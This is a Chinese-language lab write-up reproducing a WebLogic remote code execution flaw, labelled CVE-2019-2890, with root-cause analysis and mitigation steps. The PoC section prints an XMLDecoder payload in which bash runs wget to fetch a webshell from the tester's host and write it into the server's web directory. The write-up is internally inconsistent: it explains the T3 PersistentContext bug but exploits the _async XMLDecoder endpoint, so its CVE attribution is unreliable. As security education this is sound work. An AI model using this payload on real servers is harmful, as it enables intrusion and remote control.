【漏洞复现】1. WebLogic 反序列化漏洞(CVE-2019-2890)复现与分析

文章目录

  • 1. 基础知识
  • 2. 复现
    • 2.1 漏洞介绍
      • 漏洞影响版本:
    • 2.2 漏洞原理分析
    • 2.3 漏洞复现
      • 2.3.1 环境搭建
      • 2.3.2 漏洞验证
      • 2.3.3 漏洞利用
      • 2.3.4 POC分析
    • 2.4 漏洞修复

1. 基础知识

在这里插入图片描述

WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

Weblogic有以下几点优势:

  1. Weblogic支持最新的Java EE 8和Java SE 11规范,可以让开发者使用最新的技术和API来构建应用。
  2. Weblogic提供了丰富的管理工具和API,可以实现运营自动化,提高效率和可靠性。
  3. Weblogic支持自动扩展和自动重启故障节点,可以保证应用的高可用性和可扩展性。
  4. Weblogic提供了Kubernetes部署和管理工具,可以让开发者在容器化和云原生的环境中运行应用。
  5. Weblogic与Oracle数据库和中间件集成,可以提供优化的性能、可用性和可支持性。

2. 复现

2.1 漏洞介绍

2019年10月15日,Oracle官方发布了2019年10月安全更新公告,其中包含了一个可造成RCE远程任意代码执行的高危漏洞,漏洞编号为CVE-2019-2890。
Weblogic在利用T3协议进行远程资源加载调用时,默认会进行黑名单过滤以保证反序列化安全。本漏洞绕过了Weblogic的反序列化黑名单,使攻击者可以通过T3协议对存在漏洞的Weblogic组件实施远程攻击。由于T3协议在Weblogic控制台开启的情况下默认开启,而Weblogic默认安装会自动开启控制台,所以攻击者可通过此漏洞造成远程代码执行,以控制Weblogic服务器。
在这里插入图片描述

漏洞影响版本:

WebLogic Server 10.3.6.0
WebLogic Server 12.1.3.0
WebLogic Server 12.2.1.3

2.2 漏洞原理分析

漏洞代码位于weblogic.jar中weblogic.wsee.jaxws.persistence.PersistentContext.class文件,它的readObject函数调用了readSubject函数,readSubject函数中使用了ObjectInputStream.readObject来反序列化对象。
在这里插入图片描述
查看对应的writeObject的逻辑,只要我们给对应的localObjectOutputStream.writeObject()序列化一个恶意对象,则PersistentContext对象被反序列化时,它的readObject函数被调用,readSubject函数中对恶意对象进行反序列化。因此通过T3发送精心伪造的PersistentContext对象,则可成功绕过黑名单检查。
在这里插入图片描述

2.3 漏洞复现

2.3.1 环境搭建

测试环境版本:weblogic 10.3.6.0
由于版本一致,可以直接利用vulhub中的镜像CVE-2017-10271,进入到相关目录,
执行docker-compose up -d
在这里插入图片描述
访问 :7001/console,如下环境搭建成功

在这里插入图片描述

2.3.2 漏洞验证

首先判断是否存在漏洞,如下图所示则可能存在漏洞,漏洞点:
http://192.168.10.132:7001/_async/AsyncResponseService
在这里插入图片描述
原理:Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML(SOAP协议)数据,在解析的过程中出现反序列化漏洞,导致任意代码执行。出问题的包是wls-wsat、_async。
使用Dnslog探测是否出网:
在这里插入图片描述
在这里插入图片描述

2.3.3 漏洞利用

创建shell.txt文件,并在当前文件所在目录用python开启web服务
在这里插入图片描述
在这里插入图片描述
访问一下web服务,web服务开启成功
在这里插入图片描述
访问http://192.168.10.132:7001/_async/AsyncResponseService,抓取数据包,修改payload:
在这里插入图片描述
返回的202响应数据,此时木马文件已经被写入服务器
在这里插入图片描述
访问shell, 可以执行任意命令
在这里插入图片描述
在这里插入图片描述

2.3.4 POC分析

这段POC的开头三行和末尾三号主要是SOAP的协议规范,SOAP是以XML形式提供了一个简单、轻量的用于在分散或分布环境中交换结构化和类型信息的机制,重点关注的是中间的内容,下面依次介绍XML的各个标签。
java标签

这个标签是使用 XMLEncoder 来生成表示 JavaBeans 组件(bean)的 XML 文档,用 XMLDecoder 读取使用 XMLEncoder 创建的XML文档获取JavaBeans。
object标签

通过 标签表示对象, 其class 属性指定具体类(用于调用其内部方法),此处为ProcessBuilder类,ProcessBuilder可以用于执行cmd命令,调用ProcessBuilder的start()方法启动进程,start将会在后续的标签void进行介绍。
array标签/void标签

<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://192.168.10.132:4444/shell.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/shell.jsp</string>
</void>

通过 标签表示数组, class 属性指定具体类,此处为字符串,在array标签内部使用 void 标签的 index 属性来指定数组索引赋值,此处相当于创建了一个长度为3的字符串数组,三个元素的内容分别相当于:

str[0] = '/bin/bash'
str[1] = '-c' 
str[2] = wget http://192.168.10.132:4444/shell.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/shell.jsp

其中str[0]指出了cmd命令的位置,str[1]表示执行,str[2]表示执行的具体命令

void标签中的start方法是前述ProcessBuilder类的一个方法,调用ProcessBuilder的start()方法可以启动命令执行的进程。

2.4 漏洞修复

1.更新Oracle 2019年10月补丁
https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html

2.控制T3协议的访问
此漏洞产生于WebLogic的T3服务,因此可通过控制T3协议的访问来临时阻断针对该漏洞的攻击。当开放WebLogic控制台端口(默认为7001端口)时,T3 服务会默认开启。具体操作:
(1)进入WebLogic控制台,在base_domain的配置页面中,进入“安全”选项卡页面,点击“筛选器”,进入连接筛选器配置。
(2)在连接筛选器中输入:weblogic.security.net.ConnectionFilterImpl,在连接筛选器规则中输入:127.0.0.1 * * allow t3 t3s,0.0.0.0/0 * * deny t3 t3s(t3和t3s协议的所有端口只允许本地访问)。
(3)保存后需重新启动,规则方可生效。
3.部署网络防护设备,若请求的数据中含有xml数据,必须进行严格的过滤,避免执行恶意命令。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/474445.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

区域规划(Regional Planning)的学习笔记

目录 一、概念题 1.区域的概念、类型、特性 2.区域分析的概念、主要内容 3.自然环境、自然资源的概念 4.区域自然资源评价的内容 5.可持续发展理论定义 6.经济增长、经济结构定义 7.产业结构概念 8.人口增长分析的含义、指标 9.技术进步概念、类型 10.技术进步对区域…

『Python爬虫』极简入门

本文简介 点赞 收藏 关注 学会了 声明&#xff1a;请勿使用爬虫技术获取公民隐私数据、数据以及企业或个人不允许你获取的数据。 本文介绍如何使用 Python 写一只简单的爬虫&#xff0c;作为入门篇&#xff0c;这个程序不会很复杂&#xff0c;但至少可以讲明爬虫是个什么东…

Nacos 配置管理-快速入门

** Nacos 配置管理-快速入门 ** 2024-3-18 段子手168 1、首先在 nacos 发布配置&#xff08;确认安装启动了 nacos 服务&#xff09;。 浏览器访问 http://127.0.0.1:8848/nacos, 打开 nacos 控制台&#xff0c; 并点击菜单&#xff1a;新增 --》配置管理 --》配置列表 --》…

html5cssjs代码 034 自定义字体

html5&css&js代码 034 自定义字体 一、代码二、解释 这是一个带有自定义字体的网页&#xff0c;设置了页面背景颜色、文字颜色以及全局样式。它定义了三种自定义字体并通过font-face规则引入外部字体文件&#xff0c;并通过CSS类&#xff08;.f1, .f2, .f3&#xff09;…

2024上半年四川省属事业单位报名指南✅

⏰报考时间 1⃣报名时间&#xff1a;2024年3月21日10:00——3月25日18:00 2⃣缴费时间&#xff1a;截止2024年3月26日18:00 ⚠通过网络报名且上传相片质量合格的报考者&#xff0c;未按要求在规定时间内进行网上缴费的&#xff0c;视为自动放弃报考。 3⃣公共科目笔试时间&…

力扣---两数相加

给你两个 非空 的链表&#xff0c;表示两个非负的整数。它们每位数字都是按照 逆序 的方式存储的&#xff0c;并且每个节点只能存储 一位 数字。 请你将两个数相加&#xff0c;并以相同形式返回一个表示和的链表。 你可以假设除了数字 0 之外&#xff0c;这两个数都不会以 0 …

QGIS开发笔记(一):QGIS介绍、软件下载和加载shp地图数据Demo

若该文为原创文章&#xff0c;转载请注明原文出处 本文章博客地址&#xff1a;https://hpzwl.blog.csdn.net/article/details/136888334 红胖子网络科技博文大全&#xff1a;开发技术集合&#xff08;包含Qt实用技术、树莓派、三维、OpenCV、OpenGL、ffmpeg、OSG、单片机、软硬…

【亲测有效】axureRP9授权密钥 Mac/Windows

哪里有axureRP9授权密钥&#xff1f;这里为大家带来了axureRP9中文授权版资源&#xff0c;内含axureRP9授权密钥&#xff0c;亲测支持apple Intel/M1/M2以及Windows系统&#xff01; 【永久可用】axureRP9授权密钥 Mac版 【永久可用】axureRP9授权密钥 Windows版

吴恩达机器学习-可选实验室:简单神经网络(Simple Neural Network)

在这个实验室里&#xff0c;我们将使用Numpy构建一个小型神经网络。它将与您在Tensorflow中实现的“咖啡烘焙”网络相同。 import numpy as np import matplotlib.pyplot as plt plt.style.use(./deeplearning.mplstyle) import tensorflow as tf from lab_utils_common impor…

python网络爬虫实战教学——urllib的使用(3)

文章目录 专栏导读1、urlsplit2、urlunsplit3、urljoin4、urlencode 专栏导读 ✍ 作者简介&#xff1a;i阿极&#xff0c;CSDN 数据分析领域优质创作者&#xff0c;专注于分享python数据分析领域知识。 ✍ 本文录入于《python网络爬虫实战教学》&#xff0c;本专栏针对大学生、…

基于java+springboot+vue实现的学生管理系统(文末源码+Lw+ppt)23-486

摘 要 学生管理系统的目的是让使用者可以更方便的将人、设备和场景更立体的连接在一起。能让用户以更科幻的方式使用产品&#xff0c;体验高科技时代带给人们的方便&#xff0c;同时也能让用户体会到与以往常规产品不同的体验风格。 与安卓&#xff0c;iOS相比较起来&#x…

高校校园点餐系统|基于JSP技术+ Mysql+Java+ B/S结构的高校校园点餐系统设计与实现(可运行源码+数据库+设计文档)

推荐阅读100套最新项目 最新ssmjava项目文档视频演示可运行源码分享 最新jspjava项目文档视频演示可运行源码分享 最新Spring Boot项目文档视频演示可运行源码分享 2024年56套包含java&#xff0c;ssm&#xff0c;springboot的平台设计与实现项目系统开发资源&#xff08;可…

百度智能云加速「低代码+大模型」融合,爱速搭位居 2023 年 IDC 低代码/无代码领导者象限

近期&#xff0c;IDC 发布了《IDC MarketScape: 中国低代码/无代码开发平台 2023 年厂商评估》研究报告。 IDC 预测&#xff0c;到 2027 年&#xff0c;低代码的市场规模将达到 106.3 亿人民币&#xff0c;未来 5 年市场年复合增长率为 32.3%。 凭借对企业级开发场景的深度支…

MD5源码(C语言描述)

本文介绍MD5源码&#xff08;C语言描述&#xff09;。 MD5(Message-Digest Algorithm 5)&#xff0c;即消息摘要算法5&#xff0c;是一种被广泛使用的消息散列算法。散列算法的基础原理是&#xff1a;将数据&#xff08;如一段文字&#xff09;经过运算转换为一段固定长度&…

自动推送个人站点到百度收录

自动推送个人站点到百度收录 准备 验证站点 访问百度收录官网注册帐号选择用户中心-站点管理 在“站点管理”里面点击“添加站点”&#xff0c;填写你的站点地址&#xff08;支持子域名&#xff09; 根据你的站点的内容、类型勾选站点属性 点击“验证站点”。 两种方式都可以…

ByteMD - 掘金社区 MarkDown 编辑器的免费开源的版本,可以在 Vue / React / Svelte 中使用

各位元宵节快乐&#xff0c;今天推荐一款字节跳动旗下掘金社区官方出品的 Markdown 编辑器 JS 开发库。 ByteMD 是一个用于 web 开发的 Markdown 编辑器 JavaScript 库&#xff0c;是字节跳动&#xff08;也就是掘金社区&#xff09;出品的 Markdown 格式的富文本编辑器&#…

阿里云服务器2核4G服务器收费价格表,1个月和一年报价

阿里云2核4G服务器多少钱一年&#xff1f;2核4G服务器1个月费用多少&#xff1f;2核4G服务器30元3个月、85元一年&#xff0c;轻量应用服务器2核4G4M带宽165元一年&#xff0c;企业用户2核4G5M带宽199元一年。本文阿里云服务器网整理的2核4G参加活动的主机是ECS经济型e实例和u1…

国辰智企TMS智慧园区物流一站式平台,优化园区物流,智取未来!

在传统的物流园区管理中&#xff0c;我们常常面临诸多问题。人工管理流程复杂&#xff0c;效率低下&#xff0c;导致园区运营成本居高不下。园区内堵车现象严重&#xff0c;交通混乱&#xff0c;影响物流效率和客户体验。安全管理不到位&#xff0c;存在诸多隐患&#xff0c;无…

基于单片机的太阳能热水器控制系统设计与仿真

目录 摘要 3 Controling system design and simulation of the solar water heater based on single chip microcomputer 4 第一章 前言 5 1.1设计背景和意义 5 1.2国内外的发展趋势 5 第二章 系统设计总览 7 2.1控制中心 7 2.2外围设备 7 第三章 系统硬件设计 8 3.1 总硬件的…

SUS-Chat-34B笔记

名称SUS-Chat: Instruction tuning done right团队南方科技大学、IDEA研究院CCNL团队代码地址https://github.com/SUSTech-IDEA/SUS-Chat简介具有超强多轮对话能力&#xff0c;擅长模仿人类思考过程&#xff0c;在各大榜单上超越同量级的模型。 介绍 SUS-Chat-34B模型是南方科…